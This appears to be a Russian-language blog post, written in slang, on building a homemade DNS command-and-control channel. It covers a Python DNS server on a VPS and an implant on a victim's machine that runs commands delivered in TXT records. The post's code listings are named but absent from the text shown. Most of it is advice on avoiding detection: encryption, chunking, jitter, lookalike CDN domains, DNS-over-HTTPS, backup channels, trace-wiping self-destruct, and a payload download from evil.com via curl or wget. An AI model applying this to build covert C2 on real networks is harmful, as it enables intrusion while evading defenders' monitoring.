C2, DNS, Pentest, Python для пентестера, Пентест

C2 на коленке: как управлять зоопарком машин через DNS и не спалиться

Здарова, братан. Помнишь, как мы на том проде ковыряли дыру, а сисопы нам все порты порезали, кроме 53-го? Классика. Все эти модные C2 навороченные, красивые, но шумят как паровоз и палятся на раз-два по сигнатурам. А когда в сети тишина, любой чих в логах — это палево.

Так что давай по-старинке, на коленке, соберём себе тихий и надёжный C2 через DNS. Дёшево, сердито и хрен кто заметит, если грамотно сделать. DNS-трафик есть везде, он дико зашумлён легитимными запросами, и большинство блутимовцев смотрят на него в последнюю очередь. Наш билет в рай.

Концепция: Как мы обманем сисадмина

Расклад простой, как три копейки:

  1. Наш сервер (C2): Это VPS, на которой крутится наш самописный DNS-сервер. Он — авторитативный для домена, который мы купим.
  2. Наш имплант (клиент): Сидит на тачке жертвы. Он не стучится на IP, не открывает сокеты куда попало. Он просто… резолвит доменные имена.
  3. Канал связи:
    • Клиент -> Сервер: Имплант шифрует данные (например, whoami + hostname), кодирует в Base64 и лепит как поддомен к нашему C2-домену. Получается запрос типа [base64_data].c2.evil.corp. Этот запрос улетает к локальному DNS-резолверу, а тот, по цепочке, приходит к нашему серверу.
    • Сервер -> Клиент: Наш C2-сервер получает запрос, парсит поддомен, декодирует данные. В ответ он шлёт не IP-адрес (A-запись), а TXT-запись, в которую зашита команда (например, shell whoami). Имплант получает TXT-запись, выполняет команду. Профит.

Сисоп видит… DNS-запросы. Ну и что? Их там миллион в секунду. А мы под этим шумом гоняем свои команды.

Шаг 1: Поднимаем C2-сервер

Что я вижу: Нам нужен контроль над DNS-зоной. Покупаем домен, желательно какой-нибудь отстойный, но с историей, чтобы не вызывать подозрений. Я обычно беру на Namecheap что-то типа system-update-service.net или похожее. Нам не нужен веб-сервер, SSL и прочая лабуда. Только возможность прописать свои NS-записи.

Действия:

  1. Берём дешёвый VPS (я взял на DigitalOcean за 5 баксов).
  2. Покупаем домен (our-c2-domain.com).
  3. В панели регистратора домена идём в настройки DNS и указываем кастомные NS-серверы:
    • ns1.our-c2-domain.com -> IP нашего VPS
    • ns2.our-c2-domain.com -> IP нашего VPS (да, можно один и тот же)
  4. На VPS ставим Python и пишем простейший DNS-сервер. Забудь про BIND, это для динозавров. Нам хватит dnslib.

Код C2-сервера (c2_server.py):

Запускаем это чудо на VPS (sudo python3 c2_server.py) и ждём клиентов.

Шаг 2: Имплант на стороне жертвы

Что я вижу: Нам нужен лёгкий, беспалевный клиент. PowerShell на винде, Python на линуксе/маке — идеальные кандидаты. Главное — минимум зависимостей.

Действия:
Пишем скрипт, который будет периодически опрашивать наш C2.

Код импланта (implant.py):

А теперь — как не спалиться (offensive-анализ)

Ты же знаешь, дьявол в деталях. Простой Base64 и TXT-запросы — это для новичков. Синий с анализатором трафика (типа Zeek/Bro) может заметить аномалии:

  • Длинные DNS-запросы: base64(много_данных).c2.evil.corp — это подозрительно.
  • Энтропия поддоменов: Строки в Base64 имеют высокую энтропию. Это флаг для некоторых систем.
  • Постоянные запросы к одному домену: Если с одного хоста постоянно летят запросы к *.our-c2-domain.com, это тоже палево.

Как обходим:

  1. Шифрование: Перед Base64 шифруем данные через XOR или AES с pre-shared key. Это меняет энтропию и скрывает содержимое даже от поверхностного анализа.
  2. Чанкинг (нарезка данных): Большой объём данных (например, вывод ls -la /) бьём на куски по ~50 байт и шлём несколькими запросами. [chunk_id].[chunk_data].bot_id.c2.evil.corp. Сервер собирает их по chunk_id.
  3. Разные типы записей: Не зацикливайся на TXT. Можно гонять данные через CNAME или даже A/AAAA записи, кодируя байты в IP-адреса (например, 1 байт = последнему октету IP). Это сложнее, но ещё тише.
  4. Джиттер (Jitter): В импланте sleep должен быть не фиксированным, а плавающим. sleep(300 + random.randint(-60, 60)). Это смазывает паттерн в логах.
  5. Доменная маскировка: Используй поддомены легитимных сервисов, если есть возможность (DNS Hijacking). Или зарегистрируй домен, похожий на CDN, типа updates.ms-cdn-content.com.

Вот тебе, братан, скелет. Простой, надёжный, как АК-47. Его можно допиливать до бесконечности, добавлять модули, менять каналы. Но основа — вот она. Тихо, незаметно, под самым носом у админа.

Советы:

  1. DNS-over-HTTPS (DoH): Следующий уровень маскировки. Заворачиваем наши DNS-запросы в HTTPS. Весь трафик будет выглядеть как обычный веб-сёрфинг до cloudflare-dns.com или dns.google. Ни один сетевой IDS не подкопается, пока не начнёт терминировать TLS, а это делают не все и не всегда. Клиент придётся усложнить, используя либы типа requests.
  2. Stateful C2: Наш сервер сейчас «тупой» (stateless). Его можно улучшить, чтобы он хранил состояние каждого бота: текущую директорию, права, историю команд. Можно прикрутить к нему простенькую SQLite базу.
  3. Многоканальность: Добавь в имплант запасной канал связи. Если DNS-канал отвалился (например, админ что-то заподозрил и заблокировал наш домен), имплант может попробовать постучаться через ICMP-туннель или даже через комментарии к какому-нибудь YouTube-видео.
  4. Payload delivery: Как заливать файлы на тачку? Так же, чанками. Сервер отдаёт команду download http://evil.com/payload.dll, а имплант её выполняет через curl/wget. Или же передавать бинарник прямо в DNS-ответах, нарезанный и в Base64. Долго, зато надёжно.
  5. Kill Switch: Сделай команду (например, self-destruct), которая полностью удаляет имплант с диска и из памяти, затирая следы. Когда работа сделана, надо уходить тихо.
C2 на коленке: как управлять зоопарком машин через DNS и не спалиться

На этом все. Всем хорошего дня!